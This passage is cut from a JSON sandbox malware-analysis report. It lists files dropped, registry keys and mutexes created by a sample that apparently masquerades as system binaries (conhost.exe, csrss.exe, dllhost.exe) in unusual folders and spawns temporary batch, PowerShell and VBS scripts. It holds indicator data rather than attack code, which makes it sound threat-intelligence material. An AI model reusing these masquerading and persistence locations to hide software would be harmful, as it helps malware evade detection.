ox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"C:\\BlockproviderComponentweb\\conhost.exe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"C:\\BlockproviderComponentweb\\088424020bedd6","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\mZa55Bw1Mk","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\LkZH0FaUeD.bat","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\yucndqmj.2t4.ps1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\mxafncfz.vkm.psm1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\sdduygre.4w2.ps1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\kftzyaej.snb.psm1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\sav1takm.tw4.ps1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\1vyl2jjv.vl0.psm1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\ndxtznjy.b5f.ps1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\bbq43nr5.4h3.psm1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\xkvset5p.h5s.ps1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\tevggqcp.buh.psm1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%TEMP%\\615a949d-4820-474a-9d77-81f8861d75cf.vbs","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"C:\\BlockproviderComponentweb\\__tmp_rar_sfx_access_check_909411728","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%PROGRAMFILES%\\Mozilla Firefox\\browser\\VisualElements\\dllhost.exe","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%PROGRAMFILES%\\Mozilla Firefox\\browser\\VisualElements\\5940a34987c991","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%WINDIR%\\Web\\Wallpaper\\Scenes\\dllhost.exe","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%WINDIR%\\Web\\Wallpaper\\Scenes\\5940a34987c991","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"C:\\TorService\\data\\WmiPrvSE.exe","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"C:\\TorService\\data\\24dbde2999530e","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\csrss.exe","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\886983d96e3d3e","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Java\\Java Update\\conhost.exe","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Java\\Java Update\\088424020bedd6","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"C:\\Recovery\\d9a35956-d863-11e7-9dec-946ea4db88b1\\conhost.exe","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"C:\\Recovery\\d9a35956-d863-11e7-9dec-946ea4db88b1\\088424020bedd6","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\JlqweY7WEK","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\ZIbH1gfmBS.bat","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\0g4nhxbc.zpd.ps1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\0zqkoikl.bec.psm1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\ytiwx0s4.kgj.ps1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\5qghhtyt.y2k.psm1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\ucefnvvt.0a2.ps1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\y01pvnuc.1u3.psm1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\spkouosl.3sp.ps1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\sbvh1pjd.flf.psm1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\qjswzqwi.4n2.ps1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\yftprw4y.y3k.psm1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\5gnsswoe.pjk.ps1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\nj12woer.0c5.psm1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\dry0peaq.re2.ps1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\vdp2lk0j.dgo.psm1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{A3C5A950-CBBD-4EFA-9430-4E8BB4184281}","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\b7808bc5-49fe-4763-a754-4cbe88a5f359.vbs","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\8de59fd0244c45416985d79d676bae9b24a8e733.exe","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%TEMP%\\f97cd26b-1103-463c-9a94-23ac2044c8ca.vbs","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\172DA9ABC306C7E38C8A3688813E8F6E44987974\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\SMARTCARDROOT\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\SMARTCARDROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\SMARTCARDROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\SMARTCARDROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\29b4905de3668029a828ac5ede5aec7a70555bf5","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Local\\29b4905de3668029a828ac5ede5aec7a70555bf5","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":".NET CLR Networking_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":".NETFramework_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"ASP.NET_4.0.30319_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Local\\OfficeSharedLocks_BootMutex_00_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":".NET Data Provider for Oracle_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"ASP.NET_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"aspnet_state_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"ESENT_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Global\\RefreshRA_Mutex_Lib","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":".NET Data Provider for SqlServer_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":".NET CLR Data_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Local\\OfficeSharedLocks_Heap_00_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":".NET CLR Networking 4.0.0.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":".NET Memory Cache 4.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Global\\MSDTC_STATS_EVENT","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"BITS_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET CLR Data_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET CLR Networking_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET CLR Networking 4.0.0.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET Data Provider for Oracle_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET Data Provider for SqlServer_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET Memory Cache 4.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NETFramework_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ASP.NET_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ASP.NET_4.0.30319_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\aspnet_state_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\BITS_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ESENT_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Lsa_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MSDTC_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MSDTC Bridge 3.0.0.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MSDTC Bridge 4.0.0.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MSSCNTRS_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Outlook_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\PerfDisk_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\PerfNet_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\PerfOS_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\PerfProc_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\rdyboost_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RemoteAccess_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ServiceModelEndpoint 3.0.0.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ServiceModelOperation 